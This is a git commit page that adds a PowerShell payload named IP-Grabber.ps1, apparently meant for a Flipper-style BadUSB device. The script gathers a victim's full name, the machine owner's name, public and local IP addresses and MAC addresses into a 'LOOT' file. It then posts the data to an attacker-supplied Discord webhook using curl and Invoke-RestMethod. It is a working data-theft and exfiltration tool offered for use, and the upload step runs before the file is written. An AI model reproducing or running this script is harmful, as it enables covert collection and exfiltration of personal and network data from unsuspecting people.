Create IP-Grabber.ps1
This commit is contained in:
parent
dcd102f9dc
commit
3bb8cb8800
1 changed files with 110 additions and 0 deletions
110
Payloads/Flip-IP-Grabber/IP-Grabber.ps1
Normal file
110
Payloads/Flip-IP-Grabber/IP-Grabber.ps1
Normal file
|
@ -0,0 +1,110 @@
|
||||||
|
$FileName = "$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm)"
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
$fullName = (Get-LocalUser -Name $env:USERNAME).FullName
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$fullName = Get-fullName
|
||||||
|
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Get-email {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName
|
||||||
|
return $email
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no email is detected function will return backup message for sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "An email was not found"
|
||||||
|
return "No Email Detected"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$email = Get-email
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
|
||||||
|
catch{$computerPubIP="Error getting Public IP"}
|
||||||
|
|
||||||
|
$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String
|
||||||
|
|
||||||
|
$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
|
||||||
|
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
$output = @"
|
||||||
|
|
||||||
|
Full Name: $fullName
|
||||||
|
|
||||||
|
Email: $email
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
Public IP:
|
||||||
|
$computerPubIP
|
||||||
|
|
||||||
|
Local IPs:
|
||||||
|
$localIP
|
||||||
|
|
||||||
|
MAC:
|
||||||
|
$MAC
|
||||||
|
|
||||||
|
"@
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$FileName"}
|
||||||
|
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$output > $FileName
|
||||||
|
|
Loading…
Reference in a new issue